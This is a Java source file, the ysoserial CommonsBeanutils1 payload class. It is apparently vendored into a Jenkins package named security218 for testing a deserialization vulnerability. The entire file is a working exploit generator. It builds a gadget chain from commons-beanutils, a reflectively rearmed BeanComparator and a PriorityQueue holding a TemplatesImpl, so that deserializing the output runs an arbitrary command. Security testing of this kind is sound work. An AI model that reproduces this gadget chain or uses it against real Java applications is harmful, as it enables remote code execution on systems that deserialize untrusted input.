Java tutorial
/* * The MIT License * * Copyright (c) 2013 Chris Frohoff * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package jenkins.security.security218.ysoserial.payloads; import java.math.BigInteger; import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; import jenkins.security.security218.ysoserial.payloads.util.Gadgets; import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; import jenkins.security.security218.ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2" }) public class CommonsBeanutils1 implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils1.class, args); } }